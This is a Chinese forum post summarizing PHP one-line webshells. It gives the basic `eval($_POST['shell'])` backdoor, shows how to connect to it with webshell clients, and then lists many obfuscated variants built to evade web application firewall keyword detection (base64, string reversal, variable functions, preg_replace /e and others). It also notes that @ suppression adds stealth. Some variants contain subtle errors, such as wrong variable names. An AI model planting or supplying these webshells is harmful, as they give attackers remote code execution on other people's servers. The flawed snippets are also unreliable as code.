搜索
    Hi~登录注册
    查看: 338|回复: 0
    收起左侧

    浅总结一下php一句话木马

    [复制链接]

    53

    主题

    0

    精华

    146 小时

    在线时间

    密圈

    积分
    45
    发表于 2019-12-22 14:54:14 | 显示全部楼层 |阅读模式

    一句话木马简介

    一句话木马就是一段简单的代码,就这短短的一行代码,就能做到和大马相当的功能。一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

    一句话木马工作原理

    <?php @eval($_POST['shell']);?>
    这是php的一句话后门中最普遍的一种。它的工作原理是:
    首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。

    实例:

    <?php @eval($_POST['shell']);?>

    将以上代码写入webshell.php文件中然后放在站点目录下通过浏览器访问,以POST方式传入shell=phpinfo();

    QQ截图20191222145153.png 也可以用蚁剑或菜刀等工具连接(我这里用的是蚁剑):
    在url地址框中输入http://127.0.0.1/webshell.php,在连接密码框中输入shell

    QQ截图20191222145236.png 然后就可以看到目标站点目录下的文件了 QQ截图20191222145304.png

    一句话木马的多种变形

    一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。

    php变量

    <?php 
    $a = "assert";
    $a(@$_POST['shell']); 
    ?>

    第三行使用了变量函数$a,变量储存了函数名asse,便可以直接用变量替代函数名。
    php变量简单变形1

    <?php  
    $a="TR"."Es"."sA";  
    $b=strtolower($a);  
    $c=strrev($b);  
    @$c($_POST['shell']);  
    ?>

    使用字符串拼接、大小写混淆、字符串逆序组合而成

    php变量简单变形2

    <?php  
    $a="AssERT";  
    $b=strtolower($a);  
    @$b($_POST['shell']);  
    ?>

    使用大小写混淆配合字符串转小写函数strtolower组合而成

    PHP可变变量

    <?php
    $bb="assert";
    $a='bb';
    $$aa($_POST['shell']);
    ?>

    以上代码可表示为$$aa = $($aa) = $ (‘bb’) = $bb = "assert"

    自定义函数

    <?php  
    function fun($a){  
        @eval($a);  
    }  
    @fun($_POST['shell']);  
    ?>

    使用function自定义函数,然后函数来调用eval函数

    create_function函数

    <?php 
    $fun = create_function('',$_POST['shell']);
    $fun();
    ?>

    创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数

    call_user_func()函数

    <?php
    @call_user_func(assert,$_POST['shell']);
    ?>

    call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数

    base64_decode 函数

    <?php   
    $a=base64_decode("YXNzZXJ0");  
    @a($_POST['shell']);  
    ?>

    YXNzZXJ0是assert的base64编码,base64_decode()是base64解密函数

    preg_replace函数

    <?php   
        function fun(){  
            return $_POST['shell'];  
        }  
        @preg_replace("/test/e", fun(), "test123");  
    ?>

    preg_replace 函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。

    pares_str函数

    <?php
    $str="a=eval";
    parse_str($str);
    $a($_POST['shell']);
    ?>

    执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。

    str_replace函数

    <?php 
    $a = str_replace("test", "", "astestsert");
    $a($_POST['shell']);
    ?>

    此函数用于将第三个参数中的第一个参数替换为第二个参数

    以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。

    总结:一句话木马的变换方式还有很多种,这里也只是浅浅的总结了一下。

    回复

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表